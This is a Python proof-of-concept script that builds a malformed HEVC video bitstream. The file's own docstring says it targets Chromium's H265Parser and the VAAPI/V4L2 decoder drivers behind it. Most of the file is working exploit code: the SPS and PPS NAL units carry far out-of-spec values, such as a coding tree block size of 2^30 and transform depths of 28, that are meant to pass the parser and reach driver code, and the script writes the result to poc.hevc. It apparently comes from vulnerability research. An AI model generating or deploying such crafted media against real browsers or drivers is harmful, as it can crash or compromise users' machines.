#!/usr/bin/env python3
"""
Generate a malicious HEVC Annex-B bitstream with out-of-spec SPS/PPS values
that pass Chromium's H265Parser validation but violate H.265 7.4.3.2.1 / Annex A.

Out-of-spec values delivered to the VAAPI/V4L2 driver:
  log2_min_luma_coding_block_size_minus3 = 0   (spec max 3 -> in-spec, sets MinCb=8)
  log2_diff_max_min_luma_coding_block_size = 27 (spec max 3)  -> CtbLog2SizeY = 30
  max_transform_hierarchy_depth_inter = 28      (spec max 4)
  max_transform_hierarchy_depth_intra = 28      (spec max 4)
  diff_cu_qp_delta_depth = 27                   (spec max 3)
  log2_parallel_merge_level_minus2 = 28         (spec max 4)
"""
import struct, sys

class BitWriter:
    def __init__(self):
        self.bits = []
    def u(self, n, v):
        for i in range(n - 1, -1, -1):
            self.bits.append((v >> i) & 1)
    def f(self, b):
        self.bits.append(1 if b else 0)
    def ue(self, v):
        # Exp-Golomb unsigned
        x = v + 1
        n = x.bit_length()
        for _ in range(n - 1):
            self.bits.append(0)
        for i in range(n - 1, -1, -1):
            self.bits.append((x >> i) & 1)
    def se(self, v):
        # signed Exp-Golomb: k = 2|v|-1 (v>0), 2|v| (v<=0)
        if v > 0:
            self.ue(2 * v - 1)
        else:
            self.ue(-2 * v)
    def rbsp_trailing(self):
        self.bits.append(1)
        while len(self.bits) % 8:
            self.bits.append(0)
    def byte_align_zero(self):
        while len(self.bits) % 8:
            self.bits.append(0)
    def bytes(self):
        assert len(self.bits) % 8 == 0
        out = bytearray()
        for i in range(0, len(self.bits), 8):
            b = 0
            for j in range(8):
                b = (b << 1) | self.bits[i + j]
            out.append(b)
        return out

def emulation_prevent(rbsp):
    """Insert 0x03 emulation-prevention bytes per H.265 7.4.2.1."""
    out = bytearray()
    zeros = 0
    for b in rbsp:
        if zeros == 2 and b <= 0x03:
            out.append(0x03)
            zeros = 0
        out.append(b)
        zeros = zeros + 1 if b == 0 else 0
    return out

def nal(nal_type, rbsp):
    hdr = bytes([(nal_type << 1) & 0x7E, 0x01])  # layer_id=0, tid+1=1
    return b"\x00\x00\x00\x01" + hdr + emulation_prevent(rbsp)

def profile_tier_level(bw, level_idc=93):
    bw.u(2, 0)   # general_profile_space
    bw.u(1, 0)   # general_tier_flag
    bw.u(5, 1)   # general_profile_idc = Main
    bw.u(32, 0x60000000)  # compat flags (Main+Main10)
    bw.f(1)      # progressive_source_flag
    bw.f(0)      # interlaced_source_flag
    bw.f(0)      # non_packed_constraint_flag
    bw.f(0)      # frame_only_constraint_flag
    bw.u(7, 0)   # reserved_zero_7bits
    bw.f(0)      # one_picture_only_constraint_flag
    bw.u(35, 0)  # reserved_zero_35bits
    bw.f(0)      # inbld_flag
    bw.u(8, level_idc)  # general_level_idc
    # max_num_sub_layers_minus1 == 0: no sub-layer flags, no padding loop

def build_vps():
    bw = BitWriter()
    bw.u(4, 0)   # vps_video_parameter_set_id
    bw.f(1)      # vps_base_layer_internal_flag
    bw.f(1)      # vps_base_layer_available_flag
    bw.u(6, 0)   # vps_max_layers_minus1
    bw.u(3, 0)   # vps_max_sub_layers_minus1
    bw.f(1)      # vps_temporal_id_nesting_flag
    bw.u(16, 0xFFFF)  # reserved
    profile_tier_level(bw)
    bw.f(1)      # vps_sub_layer_ordering_info_present_flag
    bw.ue(1)     # vps_max_dec_pic_buffering_minus1[0]
    bw.ue(0)     # vps_max_num_reorder_pics[0]
    bw.ue(0)     # vps_max_latency_increase_plus1[0]
    bw.u(6, 0)   # vps_max_layer_id
    bw.ue(0)     # vps_num_layer_sets_minus1
    bw.f(0)      # vps_timing_info_present_flag
    bw.f(0)      # vps_extension_flag
    bw.rbsp_trailing()
    return nal(32, bw.bytes())

def build_sps():
    bw = BitWriter()
    bw.u(4, 0)   # sps_video_parameter_set_id
    bw.u(3, 0)   # sps_max_sub_layers_minus1
    bw.f(1)      # sps_temporal_id_nesting_flag
    profile_tier_level(bw)
    bw.ue(0)     # sps_seq_parameter_set_id
    bw.ue(1)     # chroma_format_idc = 4:2:0
    bw.ue(320)   # pic_width_in_luma_samples
    bw.ue(240)   # pic_height_in_luma_samples
    bw.f(0)      # conformance_window_flag
    bw.ue(0)     # bit_depth_luma_minus8
    bw.ue(0)     # bit_depth_chroma_minus8
    bw.ue(0)     # log2_max_pic_order_cnt_lsb_minus4
    bw.f(1)      # sps_sub_layer_ordering_info_present_flag
    bw.ue(1)     # sps_max_dec_pic_buffering_minus1[0]
    bw.ue(0)     # sps_max_num_reorder_pics[0]
    bw.ue(0)     # sps_max_latency_increase_plus1[0]
    # ---- OUT-OF-SPEC PAYLOAD ----
    bw.ue(0)     # log2_min_luma_coding_block_size_minus3 -> MinCbLog2=3, MinCb=8
    bw.ue(27)    # log2_diff_max_min_luma_coding_block_size  (spec max 3) -> CtbLog2=30
    bw.ue(0)     # log2_min_luma_transform_block_size_minus2 -> MinTbLog2=2
    bw.ue(3)     # log2_diff_max_min_luma_transform_block_size (<= min(30,5)-2 = 3)
    bw.ue(28)    # max_transform_hierarchy_depth_inter  (spec max 4)
    bw.ue(28)    # max_transform_hierarchy_depth_intra  (spec max 4)
    # -----------------------------
    bw.f(0)      # scaling_list_enabled_flag
    bw.f(0)      # amp_enabled_flag
    bw.f(0)      # sample_adaptive_offset_enabled_flag
    bw.f(0)      # pcm_enabled_flag
    bw.ue(0)     # num_short_term_ref_pic_sets
    bw.f(0)      # long_term_ref_pics_present_flag
    bw.f(0)      # sps_temporal_mvp_enabled_flag
    bw.f(0)      # strong_intra_smoothing_enabled_flag
    bw.f(0)      # vui_parameters_present_flag
    bw.f(0)      # sps_extension_present_flag
    bw.rbsp_trailing()
    return nal(33, bw.bytes())

def build_pps():
    bw = BitWriter()
    bw.ue(0)     # pps_pic_parameter_set_id
    bw.ue(0)     # pps_seq_parameter_set_id
    bw.f(0)      # dependent_slice_segments_enabled_flag
    bw.f(0)      # output_flag_present_flag
    bw.u(3, 0)   # num_extra_slice_header_bits
    bw.f(0)      # sign_data_hiding_enabled_flag
    bw.f(0)      # cabac_init_present_flag
    bw.ue(0)     # num_ref_idx_l0_default_active_minus1
    bw.ue(0)     # num_ref_idx_l1_default_active_minus1
    bw.se(0)     # init_qp_minus26
    bw.f(0)      # constrained_intra_pred_flag
    bw.f(0)      # transform_skip_enabled_flag
    bw.f(1)      # cu_qp_delta_enabled_flag
    bw.ue(27)    # diff_cu_qp_delta_depth  (spec max 3) <<<<<
    bw.se(0)     # pps_cb_qp_offset
    bw.se(0)     # pps_cr_qp_offset
    bw.f(0)      # pps_slice_chroma_qp_offsets_present_flag
    bw.f(0)      # weighted_pred_flag
    bw.f(0)      # weighted_bipred_flag
    bw.f(0)      # transquant_bypass_enabled_flag
    bw.f(0)      # tiles_enabled_flag
    bw.f(0)      # entropy_coding_sync_enabled_flag
    bw.f(0)      # pps_loop_filter_across_slices_enabled_flag
    bw.f(0)      # deblocking_filter_control_present_flag
    bw.f(0)      # pps_scaling_list_data_present_flag
    bw.f(0)      # lists_modification_present_flag
    bw.ue(28)    # log2_parallel_merge_level_minus2  (spec max 4) <<<<<
    bw.f(0)      # slice_segment_header_extension_present_flag
    bw.f(0)      # pps_extension_present_flag
    bw.rbsp_trailing()
    return nal(34, bw.bytes())

def build_idr():
    # IDR_W_RADL (type 19), I-slice
    bw = BitWriter()
    bw.f(1)      # first_slice_segment_in_pic_flag
    bw.f(0)      # no_output_of_prior_pics_flag
    bw.ue(0)     # slice_pic_parameter_set_id
    bw.ue(2)     # slice_type = I
    # SAO disabled, IDR -> no POC/ref lists, I-slice -> no merge cand
    bw.se(0)     # slice_qp_delta
    # tiles/entropy disabled -> no entry points
    # byte_alignment(): alignment_bit_equal_to_one then zeros
    bw.rbsp_trailing()
    # Append fake CABAC slice data (drivers parse header; CABAC body is opaque)
    body = bw.bytes() + b"\xa0" * 16
    return nal(19, body)

def main():
    out = build_vps() + build_sps() + build_pps() + build_idr()
    fn = sys.argv[1] if len(sys.argv) > 1 else "poc.hevc"
    with open(fn, "wb") as f:
        f.write(out)
    print(f"wrote {len(out)} bytes -> {fn}")
    print("hex:", out.hex())

if __name__ == "__main__":
    main()